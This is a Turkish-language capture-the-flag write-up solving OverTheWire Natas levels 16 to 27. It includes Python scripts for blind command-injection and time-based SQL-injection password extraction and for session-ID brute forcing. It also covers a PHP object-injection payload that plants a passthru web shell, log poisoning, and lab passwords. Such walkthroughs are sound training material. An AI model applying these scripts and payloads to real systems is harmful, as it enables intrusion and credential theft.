Level 16
For security reasons, we now filter even more on certain characters.

Level 10’a çok benzemekle birlikte, extra olarak; istemciden alınan değer çift tırnaklar içerisinde passhtru fonksiyonunun içerisine yerleştirilmiş.Yani Level 10’daki gibi a /etc/natas_webpass/natas11 #
bir payload girmem durumunda,
grep -i “a /etc/natas_webpass/natas11 #” dictionary.txt şeklinde bir komut çalışacak ve dictionary.txt dosyasında bu payloadın geçtiği satırları getiricek. Dolayısıyla çıktı vermeyecek.
Bu durumu bypass edebilmek için “command substition” denilen şeyi yapacağız.
Command Substition
Bir komutun çıktısını, bir değişkende saklama veya başka bir komut içinde kullanma manasına gelir.Basit bir örnekle;
cur_dir=$(pwd)
echo $cur_dir
Bunu yapabilmenin iki yolu var.
Backtick karakter " ` " veya $() kullanmak.
Burada backtick karakteri filtrelenmiş olduğu için ikinci yolu kullanacağız.
Payload olarak $(cat /etc/natas_webpass/natas17) girdiğimizde bu komutun çıktısı passthru fonksiyonun içerisine yerleştirilecek, daha sonrasında dictionary.txt dosyasında bu satır aranacak. Dolayısıyla böyle bir kullanımdan ziyade passhtru içerisindeki grep komutunu manipüle etmemiz, true-false mantığıyla veriyi inşaa etmemiz gerekiyor.
“Hacker” kelimesi ile arama yaptığımızda çıktı bu şekilde.

“Hacker$(grep ^a /etc/natas_webpass/natas17)” şeklinde bir input girdiğimde çıktı yine aynı.
"grep ^a /etc/natas_webpass/natas17" ifadesi /etc/natas_webpass/natas17 dosyasından a harfi ile başlayan satırları getir anlamına geliyor.
Demek ki parola a harfi ile başlamıyor, yani grep ^a /etc/natas_webpass/natas17 komutunun çıktısı yok. Eğer ki a harfi ile başlasaydı bu komutun çıktısı natas17’ye ait parola olacaktı.Dolayısıyla ;
grep -i “ “ dictionary.txt ifadesinde çift tırnaklar arasına natas17’e ait parola gelicekti ve dictionary.txt dosyasında böyle bir satır olmadığı için çıktı boş olucaktı.
Parolanın 32 karakter uzunluğunda olduğunu bir önceki seviyelerden biliyoruz.Bununla birlikte parola küçük harf, büyük harf ve rakam içeriyor. Manuel bir test yapılamayacağından , otomatize eden bir script yazıyoruz.
import requests
from requests.auth import HTTPBasicAuth
auth=HTTPBasicAuth('natas16','WaIHEacj63wnNIBROHeqi3p9t0m5nhmh')
chars="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
passwd=""
for i in range(32):
for char in chars:
s=requests.get('http://natas16.natas.labs.overthewire.org/index.php?needle=hacker$(grep ^'+passwd+char+' /etc/natas_webpass/natas17)',auth=auth)
if "hacker" not in s.text:
passwd=passwd+char
print passwd
break
natas17:8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw
Level 17
Level 15’in devamı niteliğinde.

Çıktı veren kısımlar yorum satırı haline getirilmiş. Time Based SQL Injection ile parolayı elde etmeyi deniyoruz.
natas18 “ and password LIKE BINARY “a%” and sleep(3) şeklinde bir payload girdiğimde natas18 kullanıcısına ait parolanın a ile başlaması halinde 3 saniyelik bir bekleme olucak.
Benzer bir script çalıştırıyoruz.
import requests
from requests.auth import HTTPBasicAuth
auth=HTTPBasicAuth('natas17','8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw')
chars="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
passwd=""
for i in range(32):
for char in chars:
payload = {'username' : 'natas18" and password LIKE BINARY "' +passwd + char + '%" and sleep(3) \x23'}
s=requests.post('http://natas17.natas.labs.overthewire.org/index.php',data=payload,auth=auth)
time=s.elapsed.total_seconds()
if time>1:
passwd=passwd+char
print passwd
break
natas18:xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP
Level 18


Cookie başlığında PHPSESSID değeri varsa , session başlatılıyor. Ardından print_credentials fonksiyonu çağrılıyor. Eğer SESSION içerisinde ki admin değeri 1’ eşitse level 19’a ait parola ekrana bastırılıyor.Giden istekte PHPSESSID değeri yok ise, yeni bir session yaratılıyor.
Bu kısımda createID adında bir fonksiyon çağırılmış.
<?
function createID($user) {
global $maxid;
return rand(1, $maxid);
}
?>
Fonksiyon session_id olarak 1 ile maxid değeri arasında random bir değer döndürüyor.

Değer 640 olarak tanımlanırken, “640 should be enough for everyone” şeklinde bir not düşülmüş. Burdan anlıyoruz ki admin dahil tüm kullanıcılar için session_id değeri 1 ile 640 arasında.
import requests
from requests.auth import HTTPBasicAuth
auth=HTTPBasicAuth('natas18','xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP')
for id in range(1,640):
payload = {"username": "aa", "password": "aa"}
id=str(id)
cookie={'PHPSESSID':''+id+''}
s=requests.post('http://natas18.natas.labs.overthewire.org/index.php',auth=auth,data=payload,cookies=cookie)
if "You are an admin" in s.text:
print id
print s.text
break
natas19:4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs
Level 19
This page uses mostly the same code as the previous level, but session IDs are no longer sequential…
Diğer sayfadan farklı olarak session id’lerin sıralı olmadığını söylenmiş. Burp ile birkaç farklı username:password ile istekte bulunuyorum.






Tüm sessionlarda ortak olan 2d ifadesi. Bununla birlikte 0-9 arasında rakamlar , a-f ile arasında karakterler kullanılmış. Session id hex formatında olabilir. Dönüştürmeyi denediğimizde ;
user:pass | hex | ascii |
---|---|---|
burcu:123456 | 33382d6275726375 | 38-burcu |
admin:admin | 3233342d61646d696e | 234-admin |
a: | 3239312d61 | 291-a |
”-“ karakterinden öncesi muhtemelen bir önceki soruda verildiği gibi 1,640 arasında random olarak üretiliyor.
import requests
from requests.auth import HTTPBasicAuth
auth=HTTPBasicAuth('natas19','4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs')
for id in range(650):
sessid=''+str(id)+'-admin'
sessid=sessid.encode("hex")
cookie={'PHPSESSID':''+sessid+''}
s=requests.get('http://natas19.natas.labs.overthewire.org',auth=auth,cookies=cookie)
if "You are an admin" in s.text:
print s.text
break
natas20:eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF
Level 20


Yapmamız gereken SESSION değişkeni içerisindeki admin keyinin değerini 1’ eşitlemek.

session_set_save_handler() fonksiyonu , bir oturum ile alakalı verileri almak ve saklamak için oturum başlatılmasından, oturum sonlandırılmasına kadar ki tüm olaylarda tetiklenecek fonksiyonları belirtir. Sırası ile open(),read(),write() fonksiyonları çalıştırılır.
<?
function mywrite($sid, $data) {
// $data contains the serialized version of $_SESSION
// but our encoding is better
debug("MYWRITE $sid $data");
// make sure the sid is alnum only!!
if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
debug("Invalid SID");
return;
}
$filename = session_save_path() . "/" . "mysess_" . $sid;
$data = "";
debug("Saving in ". $filename);
ksort($_SESSION);
foreach($_SESSION as $key => $value) {
debug("$key => $value");
$data .= "$key $value\n";
}
file_put_contents($filename, $data);
chmod($filename, 0600);
}
?>
Bu fonksiyonla birlikte session bilgileri bir dosyaya yazılıyor.SESSION değişkeni içerisindeki değerler key=>value çifleri olarak ayrılıp her biri data değişkenine ardından da session bilgilerinin tutulduğu dosyaya “key value \n” şeklinde yazılıyor. Yani;
$_SESSION["login"] = "true";
$_SESSION["user"] = "admin";
$_SESSION["pass"] = "123456";
bu sessiona ait dosyanın son hali;
login true
user admin
pass 123456
olacaktır.
<?
function myread($sid) {
debug("MYREAD $sid");
if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
debug("Invalid SID");
return "";
}
$filename = session_save_path() . "/" . "mysess_" . $sid;
if(!file_exists($filename)) {
debug("Session file doesn't exist");
return "";
}
debug("Reading from ". $filename);
$data = file_get_contents($filename);
$_SESSION = array();
foreach(explode("\n", $data) as $line) {
debug("Read [$line]");
$parts = explode(" ", $line, 2);
if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1];
}
return session_encode();
}
?>
myread fonksiyonunda mywrite fonksiyonu ile dosyaya yazılmış session bilgileri okunuyor.Format şu şekilde;
data değişkenine alınan dosya içeriği “\n” belirteci , ardından da “ “ ile ayrılıyor ve session değişkeni içerisine kaydediliyor.Yani ;
İçeriği
login true
user guess
pass guess
olan bir dosya session değişkenine bu şekilde kaydolacaktır.
$_SESSION["login"]="true";
$_SESSION["user"]="guess";
$_SESSION["pass"]="guess";
Bizim girdiğimiz input da SESSION değişkeni içerisinde name keyine atanıyor.Girdiğimiz name ile birlikte \nadmin 1 şeklinde bir key:value çifti girersek dosyanın en son hali şu şekilde olucak;
name burcu \nadmin 1.
\n ve “ “ belirteçleri ile ayrıldıktan sonra, $_SESSION[“name”]=”burcu”,$_SESSION[“admin”]=”1” olarak SESSION değişkenine kaydedilecek.


natas21:IFekPyrQXftziDEsUr3x21sYuahypdgJ
Level 21


Level 22’ye ait parolayı öğrenebilmek için admin keyinin değerini 1 yapmamız gerekiyor.
http://natas21-experimenter.natas.labs.overthewire.org sayfasına gidiyoruz.


Giden istekteki değişken ve değerleri session değişkeni içerisine key:value çiftleri olarak atanıyor.İsteğe admin değişkenini ekliyoruz.


Bu sayfada, session değişkeni içerisinde ki admin keyinin değerini 1 yaptık.
Note: this website is colocated with http://natas21.natas.labs.overthewire.org mesajından anlıyoruz ki sessionlar iki domain arasında paylaşılıyor. Buradaki PHPSESSID değerini ana sayfada kullanıyoruz.


natas22:chG9fbe1Tq2eWVMgjYYD1MsfIvN461kJ
Level 22



natas23:D0vlad33nQF0Hz2EP255TP5wSW9ZsRSE
Level 23


Strstr fonksiyonu bir string içerisinde bir karakter veya karakter grubu arar.Aranan karakter dizisi bulunamazsa false, bulunursa stringin ilk veya son bölümünü döner.
echo strstr("Hello world!", "w");
world!
Yani girdiğimiz parola içerisinde “iloveyou” stringini barındırmalı ve bununla birlikte tamsayı değeri 10’dan büyük olmalı.

intval fonksiyonu değişkenin tamsayı değerini döndürür.
natas24:OsRmXFguozKpTZZ5X14zNO43379LZveg
Level 24


strcmp fonksiyonunun nasıl çalıştığına bakalım.
int strcmp ( string $d1 , string $d2 )
if $d1>$d2
return 1;
if $d1<$d2
return -1;
if $d1==d2
return 0;
Bu durumlar dışında, fonksiyona verilen parametrelerden birisi string değilse fonksiyon yine 0 döndürür.
Bizde string göndermek yerine bir array göndereceğiz.


natas25:GHF6X7YwACaYYssHVY05cFq83hRktl4c
Level 25

Seçtiğimiz dile göre o dile ait sayfa include ediliyor.

<?php
// cheers and <3 to malvina
// - morla
function setLanguage(){
/* language setup */
if(array_key_exists("lang",$_REQUEST))
if(safeinclude("language/" . $_REQUEST["lang"] ))
return 1;
safeinclude("language/en");
}
function safeinclude($filename){
// check for directory traversal
if(strstr($filename,"../")){
logRequest("Directory traversal attempt! fixing request.");
$filename=str_replace("../","",$filename);
}
// dont let ppl steal our passwords
if(strstr($filename,"natas_webpass")){
logRequest("Illegal file access detected! Aborting!");
exit(-1);
}
// add more checks...
if (file_exists($filename)) {
include($filename);
return 1;
}
return 0;
}
function listFiles($path){
$listoffiles=array();
if ($handle = opendir($path))
while (false !== ($file = readdir($handle)))
if ($file != "." && $file != "..")
$listoffiles[]=$file;
closedir($handle);
return $listoffiles;
}
function logRequest($message){
$log="[". date("d.m.Y H::i:s",time()) ."]";
$log=$log . " " . $_SERVER['HTTP_USER_AGENT'];
$log=$log . " \"" . $message ."\"\n";
$fd=fopen("/var/www/natas/natas25/logs/natas25_" . session_id() .".log","a");
fwrite($fd,$log);
fclose($fd);
}
?>
?>
İlk başta setLanguage fonksiyonu çağırılıyor. Include edilecek sayfanın pathi safeinclude fonksiyonuna gönderilmiş.
Fonksiyonda directory traversal ataklarına karşı bazı önlemler alınmış. Girilen inputta “../” ifadesi bulunması halinde bu ifadeler replace edilmiş.Bununla birlikte logReuest fonksiyonu çağırılarak log tutulmuş.
strstr fonksiyonunu şu şekilde bypass edebiliriz.

Fakat hemen ardından “natas_webpass” stringi de filtrelenmiş.Yani bu dosyayı çağırabilmemiz mümkün değil.



Log dosyasını okuyabildik, log dosyasına user-agent bilgisi de eklenmiş.
User-agent injection atak yaparak, yazdığımız kodun çıktısını log dosyasında göreceğiz.


natas26:oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T
Level 26

Bu bölümde PHP Object Injection atak gerçekleştirerek level 27’ ye ait parolayı öğreneceğiz.
Bu zafiyetin oluşabilmesi ve exploit edilebilmesi için;
-Kullanıcıdan alınan inputun unserialize methoduna gönderilmesi
-Yazılım genelinde herhangi bir sınıfın --destruct methodunun bulunması
-Destruct methodunun, ait olduğu classın sınıf değişkenlerini herhangi bir nedenle yerel diske kayıt ediyor olması
-Bu kayıt edilen dosyanın bulunduğu dizinin web üzerinden erişilebilir olması
Kullanıcıdan alınan cookie değeri unserialize metoduna veriliyor.

Logger sınıfının destruct methodu mevcut ve değişkenler bir dosyaya kaydediliyor.

Exploiti için;
<?php
class Logger{
private $logFile;
private $initMsg;
private $exitMsg;
function __construct($file){
// initialise variables
$this->initMsg="<? passthru(' cat /etc/natas_webpass/natas27'); ?>";
$this->exitMsg="<? passthru(' cat /etc/natas_webpass/natas27'); ?>";
$this->logFile = "img/burju.php";
}
function log($msg){
;
}
function __destruct(){
// write exit message
$fd=fopen($this->logFile,"a+");
fwrite($fd,$this->exitMsg);
fclose($fd);
}
}
$obj=new Logger("aa");
echo urlencode(base64_encode(serialize($obj)));
?>
şeklinde malformed class oluşturuyoruz.Scriptin çalıştırılması sonucu;
“Tzo2OiJMb2dnZXIiOjM6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czoxMzoiaW1nL2J1cmp1LnBocCI7czoxNToiAExvZ2dlc gBpbml0TXNnIjtzOjUwOiI8PyBwYXNzdGhydSgnIGNhdCAvZXRjL25hdGFzX3dlYnBhc3MvbmF0YXMyNycpOyA%2FPiI7czoxN ToiAExvZ2dlcgBleGl0TXNnIjtzOjUwOiI8PyBwYXNzdGhydSgnIGNhdCAvZXRjL25hdGFzX3dlYnBhc3MvbmF0YXMyNycpOyA %2FPiI7fQ%3D%3D” değerini elde ediyoruz.


img/burju.php adresine gidiyoruz.
natas27:55TBjpPZUUJgVP5b3BnbG6ON9uDPVzCJ
Level 27

<?
// morla / 10111
// database gets cleared every 5 min
/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/
function checkCredentials($link,$usr,$pass){
$user=mysql_real_escape_string($usr);
$password=mysql_real_escape_string($pass);
$query = "SELECT username from users where username='$user' and password='$password' ";
$res = mysql_query($query, $link);
if(mysql_num_rows($res) > 0){
return True;
}
return False;
}
function validUser($link,$usr){
$user=mysql_real_escape_string($usr);
$query = "SELECT * from users where username='$user'";
$res = mysql_query($query, $link);
if($res) {
if(mysql_num_rows($res) > 0) {
return True;
}
}
return False;
}
function dumpData($link,$usr){
$user=mysql_real_escape_string($usr);
$query = "SELECT * from users where username='$user'";
$res = mysql_query($query, $link);
if($res) {
if(mysql_num_rows($res) > 0) {
while ($row = mysql_fetch_assoc($res)) {
// thanks to Gobo for reporting this bug!
//return print_r($row);
return print_r($row,true);
}
}
}
return False;
}
function createUser($link, $usr, $pass){
$user=mysql_real_escape_string($usr);
$password=mysql_real_escape_string($pass);
$query = "INSERT INTO users (username,password) values ('$user','$password')";
$res = mysql_query($query, $link);
if(mysql_affected_rows() > 0){
return True;
}
return False;
}
?>
SQli ataklarına karşı mysql_real_escape_string fonksiyonu ile önlem alınmış. Her ne kadar bypass etmeye çalışsamda başarılı olamadım.
mysql_real_escape_string fonksiyonu stringler içerisindeki özel karakterlerin başına escape karakteri koyar, kulanıcıdan alınan parametre direk sql sorgusuna yerleştirilmeden önce bu fonksiyondan geçirilir.
Bize lazım olan natas28 kullanıcına ait parola.

dumpData fonksiyonu parametre olarak yalnızca username alıyor. Yani sistemde parolasını bildiğimiz bir natas28 kullancısı oluşturabilmemiz dahilinde asıl natas28 kullanıcısının parolasını öğrenebileceğiz.

User ve pass için max 64 char boyutunda yer ayrılmış. natas28+” “.57+A şeklinde bir username girdiğimizde , önce validUser fonksiyonu çağrılacak.Böyle bir kullanıcı olmadığı için false dönecek. Bu sebepten ötürü createUser fonksiyonu çağrılacak. Max 64 char boyutunda yer ayrıldığı için 64 karaktersen sonrası kesilecek. Yani A harfi. Geriye natas28+” “.57 kalmış olucak.Boşluklar temizlendiği için, sisteme parolasını bildiğimiz bir natas28 kullanıcısı eklemiş olacağız.




natas28:JWwR438wkgTsNKBbcJoowyysdM82YjeF